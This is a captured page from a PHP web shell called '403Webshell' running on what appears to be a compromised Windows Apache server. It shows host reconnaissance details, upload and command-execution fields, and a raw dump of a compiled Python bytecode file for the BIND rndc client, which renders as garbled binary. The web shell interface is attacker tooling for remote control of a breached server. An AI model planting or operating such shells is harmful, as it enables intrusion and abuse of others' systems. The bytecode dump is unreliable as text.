403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/rndc.cpython-37.opt-2.pyc
B

��e]*�@sXddlmZddlZddlZddlZddlZddlZddlZddlZGdd�de	�Z
dS)�)�OrderedDictNc@sheZdZddddddd�Zdd	�Zd
d�Zdd
d�Zdd�Zdd�Zdd�Z	dd�Z
dd�Zdd�ZdS)�rndc������)�md5Zsha1Zsha224Zsha256Zsha384Zsha512cCsb||_|��}|�d�r$|dd�}||_tt|�|_t�|�|_	t
�dd�|_d|_
|��dS)Nzhmac-�ri)�host�lower�
startswith�algo�getattr�hashlib�hlalgo�base64�	b64decode�secret�randomZrandint�ser�nonce�_rndc__connect_login)�selfrrr�r�/usr/lib/python3.7/rndc.py�__init__$s
z
rndc.__init__cCst|j|d�d�S)N)�type�_data)�dict�_rndc__command)r�cmdrrr�call5sz	rndc.callFcCst�}�x|��D]�\}}|r(|dkr(q|t�dt|��|�d�7}t|�tkrt|t�ddt|��|�d�7}qt|�tkr�|t�ddt|��|7}qt|�tkr�|t�ddt|��|7}qt|�t	kr�|�
|�}|t�ddt|��|7}qtdt|���qW|S)N�_auth�B�asciiz>BI��z#Cannot serialize element of type %s)�	bytearray�items�struct�pack�len�encoder�str�bytesr�_rndc__serialize_dict�NotImplementedError)r�data�ignore_auth�rv�k�v�sdrrrZ__serialize_dict;s""
zrndc.__serialize_dictc	Os,|jd7_tt���}t||�}t�}t�|d<t�|d<t|j�|dd<t|�|dd<t|d�|dd<|jdk	r�|j|dd<||d	<|j|d
d�}t�|j	||j
���}t�
|�}|jdkr�t�d
|�|dd<n"tt�d|j|j|��|dd<|�|�}t�dt|�dd�|}|S)Nr'r$�_ctrlZ_serZ_tim�<Z_exp�_noncerT)r4r
Z22s�hmd5ZB88s�hshaz>II�)r�int�timerr/rr1�hmac�newrr�digestrZ	b64encoderr+r,r)�_rndc__algosr-)	r�args�kwargsZnowr3�d�msg�hash�bhashrrrZ__prep_messageOs,






zrndc.__prep_messagecCs�|jdk	r |dd|jkr dS|jdkr8|dd}n|dddd�}t|�tkrb|�d	�}|d
dt|�d7}t�|�}|j|dd
�}t	�
|j||j��
�}||kS)Nr9r;Fr
r$r<r=r'r&�=r>T)r4)rrrr0�decoder-rrr1rArBrrrC)rrHrJZremote_hashZmy_msgZmy_hashrrrZ__verify_msgjs


zrndc.__verify_msgc	Os�|j||�}|j�|�}|t|�kr,td��|j�d�}t|�dkrLtd��t�d|�\}}|dkrptd|��|d8}|j�|tj	�}t|�|kr�td��t
|�tkr�t|�}|�
|�}|�|�s�td	��|S)
NzCannot send the message�zCan't read response headerz>IIr'zWrong message version %dr>zCan't read response datazAuthentication failure)�_rndc__prep_message�socket�sendr-�IOErrorZrecvr+�unpackr2ZMSG_WAITALLrr/r)�_rndc__parse_message�_rndc__verify_msg)	rrErFrHZsent�header�length�versionr3rrrZ	__commandys(

zrndc.__commandcCs2t�|j�|_d|_|jdd�}|dd|_dS)NZnull)rr9r;)rOZcreate_connectionrrr!)rrHrrrZ__connect_login�szrndc.__connect_logincCs�d}||}|d7}||||��d�}||7}||}|d7}t�d|||d��d}|d7}||||�}||7}||d�}|dkr�|||fS|dkr�t�}	x(t|�dkr�|�|�\}
}}||	|
<q�W||	|fStd|��dS)Nrr'r&z>Ir>r(zUnknown element type %d)rLr+rRrr-�_rndc__parse_elementr2)r�input�posZlabellen�labelrZdatalenr3�restrGZilabel�valuerrrZ__parse_element�s*

zrndc.__parse_elementcCs8t�}d}x(t|�dkr2|�|�\}}}|||<qW|S)Nr)rr-rX)rrYr5Zhdatar[r]rrrZ__parse_message�szrndc.__parse_messageN)F)
�__name__�
__module__�__qualname__rDrr#r1rNrTr!rrXrSrrrrrs
r)�collectionsrr@r+rrArrrO�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit